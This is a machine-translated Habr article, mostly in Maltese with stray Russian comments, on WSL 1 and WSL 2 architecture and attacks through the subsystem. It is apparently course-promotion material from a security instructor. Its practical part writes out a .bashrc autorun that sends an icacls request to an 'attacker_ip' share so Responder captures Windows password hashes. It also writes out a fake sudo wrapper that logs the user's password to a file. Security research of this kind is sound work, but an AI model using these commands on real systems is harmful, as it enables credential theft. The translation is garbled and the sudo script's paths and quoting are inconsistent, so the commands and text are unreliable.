Esperimenti WSL. Parti 1

Hello, habr! OTUS tniedi kors ġdid f'Ottubru "Sigurtà tal-Linux". B'antiċipazzjoni tal-bidu tal-kors, qed naqsmu magħkom artiklu miktub minn wieħed mill-għalliema tagħna, Alexander Kolesnikov.

Esperimenti WSL. Parti 1

Fl-2016, Microsoft introduċiet it-teknoloġija l-ġdida WSL għall-komunità tal-IT (Wġewwa Subsistema għal Linux), li fil-futur għamilha possibbli li jingħaqdu kompetituri li qabel kienu irrikonċiljabbli li kienu qed jiġġieldu għall-popolarità kemm fost utenti ordinarji kif ukoll avvanzati tal-OS: Windows u Linux. Din it-teknoloġija għamlitha possibbli li jintużaw għodod Linux OS f'ambjent Windows mingħajr il-ħtieġa li titħaddem Linux, pereżempju, bl-użu ta 'Multi-boot. Fuq Habr tista’ ssib numru kbir ta’ artikli li jiddeskrivu l-benefiċċji tal-użu tal-WSL. Madankollu, sfortunatament, fiż-żmien tal-ħolqien ta 'dan l-artikolu, ma nstabu l-ebda studji dwar is-sigurtà ta' tali simbjożi ta 'sistemi operattivi fuq din ir-riżorsa. Din il-kariga se tkun tentattiv biex tikkoreġi dan. L-artiklu se jitkellem dwar il-karatteristiċi tal-arkitetturi WSL 1 u 2 u jeżamina diversi eżempji ta 'attakki fuq sistemi li jużaw dawn it-teknoloġiji. L-artikolu huwa maqsum f'2 partijiet. L-ewwel se jipprovdi l-metodi ta 'attakk teoretiku prinċipali minn Linux u Windows. It-tieni artikolu se jinvolvi t-twaqqif ta 'ambjent tat-test u r-riproduzzjoni tal-attakki.

WSL 1: karatteristiċi arkitettoniċi

Għall-għaddasa l-aktar preċiża fi kwistjonijiet ta 'sigurtà WSL, huwa meħtieġ li jiġu ddeterminati l-sfumaturi ewlenin assoċjati mal-implimentazzjoni tas-subsistema. Waħda mill-kompiti ewlenin tal-utent solvuti minn WSL hija l-abbiltà li taħdem permezz ta 'terminal Linux fuq host li jħaddem Windows OS. Ukoll, il-kompatibilità offruta kienet tant indiġena li l-eżekutibbli Linux (ELFs) setgħu jitħaddmu direttament fuq sistema Windows. Biex jintlaħqu dawn l-għanijiet, inħolqot subsistema speċjali fil-Windows 10 li tippermettilek tħaddem applikazzjonijiet Linux billi tuża sett ta 'sejħiet ta' sistema speċifiċi - għalhekk, sar tentattiv biex jiġi mmappjat sett ta 'syscalls Linux fuq Windows. Dan ġie implimentat fiżikament billi żdiedu sewwieqa ġodda u format ta 'proċess ġdid. Viżwalment l-arkitettura dehret hekk:

Esperimenti WSL. Parti 1

Fil-fatt, l-interazzjoni mas-sistema operattiva Linux kienet organizzata permezz ta 'diversi moduli tal-kernel u tip speċjali ta' proċess - pico. Mid-dijagramma ta 'hawn fuq, tista' tara li l-proċess li jaħdem fuq l-istanza Linux fuq il-host irid ikun indiġenu u għandu juża l-istess riżorsi bħall-applikazzjonijiet regolari tal-Windows. Imma kif tikseb dan? Fil-proġett Pont levatur Ġew żviluppati kunċetti tal-proċess għall-Windows li pprovdew il-komponenti kollha meħtieġa tas-sistema operattiva (skont il-verżjoni tagħha) biex titħaddem applikazzjoni ta 'OS ieħor.

Innota li l-estrazzjoni proposta għamilha possibbli li ma tiffokax fuq is-sistema operattiva (b'mod partikolari, Windows), li fiha l-proċess ta 'OS ieħor huwa mistenni li jitnieda, u ssuġġeriet approċċ ġenerali.

Għalhekk, kwalunkwe applikazzjoni fil-proċess pico tista 'taħdem mingħajr ma tqis il-kernel tal-Windows:

  1. Problemi ta' kompatibilità u traduzzjoni tas-sejħiet tas-sistema għandhom jiġu solvuti minn fornituri speċjali;
  2. Il-kontroll tal-aċċess għandu jsir permezz tal-Monitor tas-Sigurtà. Il-monitor jinsab fil-kernel u għalhekk Windows kellu bżonn aġġornament fil-forma ta 'sewwieq ġdid li jista' jaġixxi bħala fornitur għal proċessi bħal dawn. Il-proċess pico prototip huwa ppreżentat b'mod skematiku hawn taħt:

Esperimenti WSL. Parti 1

Peress li s-sistema tal-fajls Linux tuża ismijiet ta' fajls u direttorji sensittivi għall-każi, 2 tipi ta' sistemi ta' fajls ġew miżjuda mal-Windows biex jaħdmu ma' WSL - VolFS u DriveFS. VolFS hija implimentazzjoni tas-sistema tal-fajls Linux, DriveFS hija sistema ta 'fajls li taħdem skont ir-regoli tal-Windows, iżda għandha l-abbiltà li tagħżel is-sensittività tal-każ.

WSL 2

WSL 1 kellu numru ta 'limitazzjonijiet li ma ppermettewx li jintuża biex issolvi l-firxa massima ta' kompiti: pereżempju, ma kellux il-kapaċità li jħaddem applikazzjonijiet Linux 32-bit, u kien impossibbli li tuża sewwieqa tal-apparat. Għalhekk, fl-2020, ġiet rilaxxata WSL 2, li biddel l-approċċ għall-bini tas-subsistema. WSL 2 hija magna virtwali ottimizzata li taqbel mal-karatteristiċi tal-konsum tar-riżorsi ta 'WSL 1. Issa, skont il-problemi solvuti mill-utent tal-Windows OS, tista 'tagħżel il-verżjoni meħtieġa tas-subsistema Linux. Biex itaffu l-vulnerabbiltajiet possibbli, WSL 2 ġie implimentat ibbażat fuq Hyper-V fil-Windows 10. F'din il-forma, Windows għandu l-abbiltà li jħaddem il-kernel tas-sistema operattiva Linux b'mod iżolat. Ta’ min ifakkar li l-verżjoni 1 tal-WSL ġiet introdotta bħala karatteristika beta li suppost kellha turi d-direzzjoni tal-iżvilupp tal-Windows f’dan il-qasam, għalhekk it-tranżizzjoni għal Hyper-V kienet inevitabbli. L-arkitettura finali tidher bħal din:

Esperimenti WSL. Parti 1

F'din il-verżjoni, il-kernels tal-Windows u tal-Linux għandhom ir-riżorsi tagħhom stess u l-intersezzjoni teżisti biss fis-sistema tal-fajls, iżda din l-intersezzjoni mhix kompluta. L-interazzjoni bejn is-sistemi ta 'fajls titwettaq permezz ta' wrapper klijent-server li jaħdem bl-użu tal-protokoll 9P.

Illum Microsoft tipprovdi l-abbiltà li taqleb bejn WSL 1 u WSL 2. Iż-żewġ verżjonijiet huma disponibbli għall-użu.

Sigurtà WSL

Bħalissa, hemm diversi xogħlijiet li jiddeskrivu xi approċċi għall-użu ta 'għodod OS leġittimi biex jattakkaw il-komunikazzjoni bejn is-sottosistemi. Se nużaw l-iskripts tagħhom biex niċċekkjaw ir-rilevanza tal-attakki fil-ħin tal-kitba. Lista ġenerali ta' attakki u xenarji:

1. Implimentazzjoni tas-sistema tal-fajls: drittijiet ta' aċċess, disponibbiltà ta' direttorji kondiviżi/mekkaniżmi ta' skambju ta' data.

Saret riċerka biex tiddetermina ksur tar-regoli ta 'aċċess minn Linux FS->Windows FS, Windows FS->Linux FS. Ir-riċerka wriet il-kapaċità li timmodifika fajl partikolari fi ħdan l-OS fil-mira. Saru wkoll tentattivi biex jiġu sostitwiti, jinħolqu duplikati u titħassar parti mis-sistemi tal-fajls.

Xenarju:

  • A. Attakk mis-sistema operattiva Windows - modifika tal-fajls mid-direttorju /etc tal-Linux OS.
  • B. Attakk mis-sistema operattiva Linux - modifika tal-fajls fid-direttorji: C:Windows, C:Program Files, C:Users<User>

2. Implimentazzjoni tal-munzell tan-netwerk.

Ir-riċerka twettqet bl-użu ta’ eżempji ta’ attakki mis-sistema operattiva Linux fuq il-Windows. Intużaw il-karatteristiċi tal-munzell tan-netwerk, jiġifieri, mekkaniżmi ta 'awtentikazzjoni fuq diversi riżorsi.

Xenarju:

  • Ftuħ aċċess għal port li huwa okkupat fuq sistema Windows
  • Ftuħ port mingħajr id-drittijiet xierqa
  • Running reverse shell bl-użu ta 'elf file fuq sistema operattiva Windows.

3. Ħabi tat-tnedija ta 'proċessi ta' softwer malizzjuż bl-użu tas-subsistema WSL.

Ir-riċerka kienet ibbażata fuq fatt sempliċi - is-sottosistemi tas-sigurtà ma jistgħux jinterċettaw avvenimenti f'kernel ieħor li jaħdem bl-użu ta 'fornitur leġittimu mis-sistema operattiva fil-każ ta' WSL 1. Fil-każ ta 'WSL 2, m'hemm l-ebda mod biex tara avvenimenti li jseħħu. f'qalba separata fi ħdan magna virtwali ħafifa.

Xenarju:

1) Ibda l-applikazzjoni għal aċċess mill-bogħod għas-sistema u ara l-avvenimenti illoggjati.

Esperimenti WSL 1: interċettazzjoni tal-hash (Windows)

Fl-aħħar wasalna għall-parti prattika. L-ewwel, għandek bżonn twaqqaf l-ambjent tat-test. L-esperimenti kollha se jsiru fuq bank bil-Windows 10 2004 installat. L-immaġni Ubuntu 18.04 intgħażlet bħala l-immaġni tas-sistema operattiva għal WSL. L-immaġni ntgħażlet bl-addoċċ, u kwalunkwe oħra taħdem l-istess. Kmandi għat-twaqqif ta' stand:

L-ewwel trid tniedi powershell.exe bħala amministratur.

Għal WSL 1 għandek bżonn tmexxi l-kmandi:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Wara li terġa 'tibda l-istand, tista' ċċempel il-kmand tal-bash. Jekk kollox ħadem sew, se tara output simili għal dan fil-console tal-Windows:

    Esperimenti WSL. Parti 1

    Se nużaw id-distribuzzjoni Kali Linux bħala l-magna tal-attakkant; il-magni kollha għandhom ikunu fuq l-istess netwerk lokali.

    Ejja nassumu li għandna aċċess mhux privileġġjat għall-WSL fuq magna Windows. Ejja nippruvaw nattakkaw is-sistema operattiva Linux billi nsejħu kmand minn Linux. Biex nimplimentaw l-attakk, se nużaw teknika awtorun sempliċi - se nżidu l-iskript tagħna għall-eżekuzzjoni fl-ambjent Linux. Biex tagħmel dan għandek bżonn tibdel il-fajl .bashrc.

    Fuq magna bil-WSL aħna nwettqu:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Fuq magna Kali Linux aħna nħaddmu:

    1. Responder -I eth0 -rdvw

    Fuq magna Windows, ejja tniedi bash.

    Qed nistennew ir-riżultat fuq il-magna Kali Linux:

    Esperimenti WSL. Parti 1

    Għalhekk, ksibna l-hashes tal-utent tal-Windows permezz tas-subsistema WSL billi wettaq il-kmand fuq is-sistema Linux.

    Esperimenti WSL 1: il-kisba tal-password tal-utent (Linux OS)

    Ejja nagħmlu esperiment ieħor. Matul din il-verifika aħna se nżidu mal-fajl .bashrc diversi kmandi sabiex tikseb il-password tal-utent tas-sistema operattiva Linux.

    Ejja nniedu bash u daħħal il-kmandi:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Biex itemm l-attakk b'suċċess, l-utent Sam jeħtieġ li jsejjaħ sudo fit-terminal tal-Linux. Wara dan, il-password tal-utent tal-Linux OS se tkun fil-fajl pass.txt:

    Esperimenti WSL. Parti 1

    L-implimentazzjoni tal-attakki ngħatat għal informazzjoni teoretika biss.

    Il-parti li jmiss tal-artikolu se tiddeskrivi l-implimentazzjoni tal-protokoll 9P, tikkunsidra l-ħolqien ta 'skaner għal dan il-protokoll, u twettaq ukoll attakk bl-użu tiegħu.

    Lista ta 'letteratura użata

    Esperimenti WSL. Parti 1

    Aqra iktar

    Sors: www.habr.com

    Żid kumment